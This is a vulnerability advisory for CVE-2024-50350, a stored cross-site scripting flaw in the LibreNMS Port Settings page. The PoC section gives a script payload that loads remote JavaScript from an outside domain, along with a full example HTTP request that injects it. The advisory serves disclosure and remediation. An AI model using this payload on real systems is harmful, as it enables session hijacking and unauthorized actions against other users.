CVE-2024-50350

LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions. This vulnerability is fixed in 24.10.0.

This vulnerability is fixed in 24.10.0.

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.

Details

When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter: <script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69

PoC

1. Create a new Port Group using the following payload in the "name" parameter: name<script/src=//15.rs></script>
2. Add the Port Group to a device's port settings.
3. Reload the "Port Settings" page.
4. Observe that the injected script executes.

Example Request:

POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>

_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>

Impact

This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
